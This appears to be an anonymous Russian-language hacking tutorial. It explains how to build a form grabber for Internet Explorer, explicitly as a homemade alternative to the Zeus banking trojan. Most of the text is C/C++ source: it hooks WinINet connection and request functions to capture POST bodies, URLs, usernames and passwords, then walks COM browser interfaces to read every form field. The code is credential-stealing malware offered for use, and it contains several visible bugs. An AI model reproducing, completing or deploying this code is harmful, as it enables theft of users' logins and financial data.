Решил рассказать про формграберы, ибо по сути они довольно таки примитивны, а за них почему то просят некоторое количество килобаксов, так что читайте и у вас будет шанс сделать себе аналог того же Zeus. И так быстренько пробижимся по формграбера разной масти, т.е. как POST перехватчиков, так и здоровеных "уродов" на COM. Все естественно писано для ишак и работает только с ним.
Wininet
Собственно POST перехватчик, простенькая весчь хотя и имет некоторые нюансы. Весь пост перехват сводится к перехвату InternetConnectA/W HttpOpenRequestA/W HttpSendRequestA/W, в ишаках ниже 7 достаточно и ascii функций а вот в седьмом придется хукать и UNICODE аналоги. И так начнем по порядку, сразу скажу что все даныне будут засунуты в глобальную структуру, и в нее же будут засунуты хендлы, что бы победить асинхронность. Структура для начала выглядит следующим образом
typedef struct _REQUESTDATA {
HINTERNET hInternet; // хендл от InternetConnect
HINTERNET hRequest; // хендл от HttpOpenRequest
} *PREQUESTDATA;
HINTERNET __stdcall
NewInternetConnectA(
HINTERNET hInternet,
LPCTSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCTSTR lpszUsername,
LPCTSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD dwContext )
{
PREQUESTDATA pReq = NULL;
if ( dwService = INTERNET_SERVICE_HTTP ){
// это как раз функция которая и выделит память под структуру забьет в нее время создания
// изменит список изменив pNext, pPrev и вернет наконец нам указатель на память где она валяется
if ( ( pReq = CreateRequest( ) ) ) {
// при копирование каких либо параметров в стрруктуру или каких либо действий с ними
// обязательно проверяйте их на существование, я же этого не делаю ( мне тупо лень :D )
lstrcpy( pReq->szServerName, lpszServerName );
pReq->nServerPort = nServerPort;
// дальше можн опроверить юзер и пасс на существование и тож скинуть их в структуру
// ...
// самое че необходимо это текс окна в котором собственно пнули wininet на создание запроса
// я думаю понятно что user32 может быть в другом процессе где угодно и его надо находить динамически
char szWndTxt[ 260 ];
DWORD dwHwnd;
DWORD gfw = (DWORD)GetProcAddress( LoadLibrary( "user32.dll" ), "GetForegroundWindow" );
DWORD gwt = (DWORD)GetProcAddress( LoadLibrary( "user32.dll" ), "GetWindowTextA" );
__asm {
call dword ptr[gfw]
mov [dwHwnd],eax
lea ecx,[szWndTxt]
push 255
push ecx
push [dwHwnd]
call dword ptr[gwt]
}
lstrcpy( pReq->szWndName, szWndTxt );
}
}
// теперь самое главное вызываем реальную функцию
// и если она возвращает ошибку грохаем структуру которую так долго создавали :)
HINTERNET hRet = OldInternetConnectA(
hInternet,
lpszNewServer,
nServerPort,
lpszUsername,
lpszPassword,
dwService,
dwFlags,
dwContext
};
if ( hRet )
if ( pReq )
// пихаем хендл, потом пригодится
pReq->hInternet = hRet;
else
if ( pReq )
// собственно грохаем структуру
DeleteReques( pReq );
return hRet;
}
HINTERNET __stdcall
NewHttpOpenRequestA(
HINTERNET hConnect,
LPCTSTR lpszVerb,
LPCTSTR lpszObjectName,
LPCTSTR lpszVersion,
LPCTSTR lpszReferer,
LPCTSTR* lpszAcceptTypes,
DWORD dwFlags,
DWORD dwContext)
{
PREQUESTDATA pReq = NULL;
HINTERNET hRet = OldHttpOpenRequestA(
hConnect,
lpszVerb,
lpszObjectName,
lpszVersion,
lpszReferer,
lpszAcceptTypes,
dwFlags,
dwContext
);
// при удачном срабатывание реальнйофункции
// и удачном поиске в списке структуры с хедлом который получил
// в выше описаном хандлере начинаем таскать данные
if ( hRet && ( pReq = FindRequest( hConnect ) ) {
// тут мы получим объект, он же путь на серваке типа /index.php
// тут можно собрать полный урл и самое главное проверить
// с каким типом запроса мы имеем дело GET/POST или еще какая гадость
pReq->hRequest = hRet;
if ( lpszVerb && !lstrcmp( lpszVerb, "POST" ) {
// тырим линк
lstrcpy( pReq->szObjectName, lpszObjectName );
// это как помните получили в первом хандлере
// если порт не стандартен можно грохнуть структуру
// а можно и его как нить обработать
char *szType;
if ( pReq->nServerPort == INTERNET_DEFAULT_HTTP_PORT )
szType = "http";
else if ( pReq->nServerPort == INTERNET_DEFAULT_HTTPS_PORT )
szType = "https";
// собираем полный урл
wsprintf( pReq->sqUrl, "%s://%s%s", szType, pReq->szServerName, pReq->szObjectName );
}
}
// кстати по хорошему если функция возвращает ошибку не помешает грохнуть
// структуру с её хендлом что бы не сорить в памяти
return hRet;
}
BOOL __stdcall
NewHttpSendRequestA(
HINTERNET hRequest,
LPCTSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength)
{
BOOL bRet = OldHttpSendRequestA(
hRequest,
lpszHeaders,
dwHeadersLength,
lpOptional,
dwOptionalLength
);
PREQUESTDATA pReq = NULL;
// опять же проверяем на валид, можем грохнуть структуру если вернет ошибку
if ( hRet && ( pReq = FindRequest( hRequest ) ) {
// проверим переданы ли опции
if ( dwOptionalLength > 0 && ( DWORD )lpOptional != -1 ) {
// и засуним их в структуру
lstrcpy( pReq->szOptional, lpOptional );
}
}
return bRet;
}
COM
С wininet вроде разобрались ибо в нем грех не разобратся, что не понятно можно глянуть в отладчике или на msdn. Теперь перейдем к самому геморному формграберу черз COM, когда то coban2k писал грабер полностью на ком где он хукал события и т.д. и т.п. он конечно хорош но тормозной больно. Вабще вариатов перехвата масса, это как хук через COM, хук определных методов прямым сплайсингом в библиотеке и третий который я и опишу это просто поиск нужной формы при вызове HttpOpenRequest, формы можно не отсеивать а сграбить их все, а можно и отсеять например по полю action в форме или по хендлу окна ( на сайтах с фреймами такое не покатит ). Так вот сразу после проверки на пост запрос в HttpOpenRequest
if ( lpszVerb && !lstrcmp( lpszVerb, "POST" )
long nCount;
IShellWindows* pShellWindows = 0;
IDispatch* pWebBrowserDisp = 0;
IWebBrowser2* pWebBrowser = 0;
IHTMLDocument2* pHtmlDoc = 0;
IDispatch* pDocDisp = 0;
VARIANT va;
// если юзается в нутри ишака этого можно не делать
if (FAILED( CoInitialize (NULL)))
return 0;
// полуаем указатель на интерфейс IShellWindows
if (FAILED( CoCreateInstance(CLSID_ShellWindows, NULL, CLSCTX_ALL, IID_IShellWindows, (void **)&pShellWindows) ) )
return 0;
// получаем количество шелов
ShellWindows->get_Count ( &nCount );
// крутим все шелы по очереди
for (long i = 0; i < nCount; i++) {
va.vt = VT_I4;
va.lVal = i;
// получаем указатель на диспатч
if (SUCCEEDED( pShellWindows->Item(va, &pWebBrowserDisp )) && pWebBrowserDisp ) {
// из него курим IWebBrowser2
if (SUCCEEDED( pWebBrowserDisp->QueryInterface( IID_IWebBrowser2,(void **)&pWebBrowser ) ) && pWebBrowser ) {
// из него на диспатч
if (SUCCEEDED( m_pWebBrowser->get_Document(&pDocDisp))) {
// и опять курим для получения IHTMLDocument2
// с которым уже и будет работать следующая функция
if ( SUCCEEDED( pDocDisp->QueryInterface( IID_IHTMLDocument2, (void **)&pHtmlDoc ) ) ) {
// тут собственно вызов функции где будут енумиратится фреймы
// не забываем освобождать все что на получали
pHtmlDoc->Release( );
}
pDocDisp->Release( );
}
pWebBrowser->Release( );
}
pWebBrowserDisp->Release( );
}
}
pShellWindows->Release( );
// тож самое что и с CoInitialize
CoUninitialize( );
IOleContainer* pContainer = 0;
IEnumUnknown* pEnumerator = 0;
IUnknown* pUnk = 0;
IWebBrowser2* pBrowser = 0;
IDispatch* pDocDisp = 0;
ULONG uFetched;
// в самом начале вызываем функцию которая будет дальше работать
// искать формы и все дела
if ( SUCCEEDED( m_pHtmlDoc->QueryInterface( IID_IOleContainer, (void**)&pContainer ) ) ) {
if (SUCCEEDED( pContainer->EnumObjects( OLECONTF_EMBEDDINGS, &pEnumerator ) ) ) {
for ( UINT i = 0; S_OK == pEnumerator->Next( 1, &pUnk, &uFetched ); i++ ) {
if ( SUCCEEDED( pUnk->QueryInterface( IID_IWebBrowser2, (void**)&pBrowser ) ) ) {
if ( SUCCEEDED( pBrowser->get_Document(&pDocDisp))) {
if ( SUCCEEDED( pDocDisp->QueryInterface( IID_IHTMLDocument2, (void **)&m_pHtmlDoc ) ) ) {
// тут рекурсивно вызываем сами себя
m_pHtmlDoc->Release( );
} // end if
pDocDisp->Release( );
} // end if
pBrowser->Release( );
}
pUnk->Release( );
}
pEnumerator->Release( );
}
pContainer->Release( );
}
BSTR BstrOutput;
long FormCount;
VARIANT form_item_var;
IHTMLElementCollection* pFormCollection = 0;
IDispatch* pFormElementDisp = 0;
IHTMLElement *pIHTMLElement = 0;
IHTMLFormElement* pFormElement = 0;
// ну тут все тож легко
// получаем коллекцию форм
if( SUCCEEDED( m_pHtmlDoc->get_forms( &pFormCollection ) ) ) {
// получаем количство форм
if( SUCCEEDED( FormCollection->get_length( &FormCount ) ) ) {
// перебираем все
for ( int i = 0; i < FormCount; i++ ) {
form_item_var.vt = VT_I4;
form_item_var.lVal = i;
if( SUCCEEDED( FormCollection->item( form_item_var, form_item_var, &pFormElementDisp ) ) ) {
if( SUCCEEDED( FormElementDisp->QueryInterface( IID_IHTMLElement, ( void** )&pIHTMLElement ) ) ) {
// получаем весь текст внутри формы, сойдет за околоформенные слова
if ( SUCCEEDED( pIHTMLElement->get_innerText( &BstrOutput ) ) )
SysFreeString( BstrOutput );
pIHTMLElement->Release( );
}
if( SUCCEEDED( FormElementDisp->QueryInterface( IID_IHTMLFormElement, ( void**)&pFormElement ) ) ) {
// имя формы
if( SUCCEEDED( FormElement->get_name( &BstrOutput ) ) )
SysFreeString( BstrOutput );
// action формы
if( SUCCEEDED( FormElement->get_action( &BstrOutput ) ) )
SysFreeString( BstrOutput );
// метод
if ( SUCCEEDED( FormElement->get_method( &BstrOutput ) ) )
SysFreeString( BstrOutput );
pFormElement->Release( );
}
pFormElementDisp->Release( );
}
}
}
pFormCollection->Release( );
}
long FormItemCount;
IDispatch* FormItemDisp;
VARIANT v;
IHTMLInputElement* FormItemInputElement = 0;
IHTMLTextAreaElement* FormItemTextAreaElement = 0;
IHTMLSelectElement* FormItemSelectElement = 0;
IDispatch* OptionElementDisp = 0;
BSTR bstrType;
BSTR bstrName;
BSTR bstrValue;
long lSelect;
VARIANT_BOOL bSelected;
VARIANT vs;
// тут ваще код приметивный, получаем количество элементов и понеслась
if( SUCCEEDED( FormElement->get_length( &FormItemCount ) ) ) {
for ( int j = 0; j < FormItemCount; j++ ) {
v.vt = VT_I4;
v.lVal = j;
// получаем указатель на диспач
if ( SUCCEEDED( FormElement->item( v, v, &FormItemDisp ) ) ) {
// курим, если прошло значит input элемент
if ( SUCCEEDED( FormItemDisp->QueryInterface( IID_IHTMLInputElement, ( void** )&FormItemInputElement ) ) ) {
// тип
FormItemInputElement->get_type(&bstrType);
// имя
FormItemInputElement->get_name(&bstrName);
// значение
FormItemInputElement->get_value(&bstrValue);
// чистим за собой строки
SysFreeString( bstrType );
SysFreeString( bstrName );
SysFreeString( bstrValue );
// релизем интерфейс
FormItemInputElement->Release( );
}
// тож самое для textarea
// тока тип не нужен т.к. он textarea :)
if ( SUCCEEDED( FormItemDisp->QueryInterface( IID_IHTMLTextAreaElement, ( void** )&FormItemTextAreaElement ) ) ) {
FormItemTextAreaElement->get_name(&bstrName);
FormItemTextAreaElement->get_value(&bstrValue);
SysFreeString( bstrName );
SysFreeString( bstrValue );
FormItemTextAreaElement->Release( );
}
// тут немного сложнее потому что надо узнать какой селект выбран
if (SUCCEEDED(FormItemDisp->QueryInterface(IID_IHTMLSelectElement, (void**)&FormItemSelectElement))){
// пожтому получаем количество элементов
if (SUCCEEDED(FormItemSelectElement->get_length(&lSelect))){
// крутим их в цикле
for (int k = 0; k < lSelect; k++) {
vs.vt = VT_I4;
vs.lVal = k;
// и собственно узнаем выбран он или нет
if (SUCCEEDED(FormItemSelectElement->item(vs, vs, &OptionElementDisp))){
IHTMLOptionElement* OptionElement;
if (SUCCEEDED(OptionElementDisp->QueryInterface( IID_IHTMLOptionElement, (void**)&OptionElement))){
if (SUCCEEDED(OptionElement->get_selected( &bSelected ) ) ) {
if ( InptSelected ){
// если да то получаем имя и значение
FormItemSelectElement->get_name( &bstrName );
OptionElement->get_value( &bstrValue );
SysFreeString( bstrName );
SysFreeString( bstrValue );
}
}
OptionElement->Release( );
}
OptionElementDisp->Release( );
}
}
}
FormItemSelectElement->Release( );
}
FormItemDisp->Release( );
}
}
}
Автор предпочел сохранить свою анонимность. // dm
|
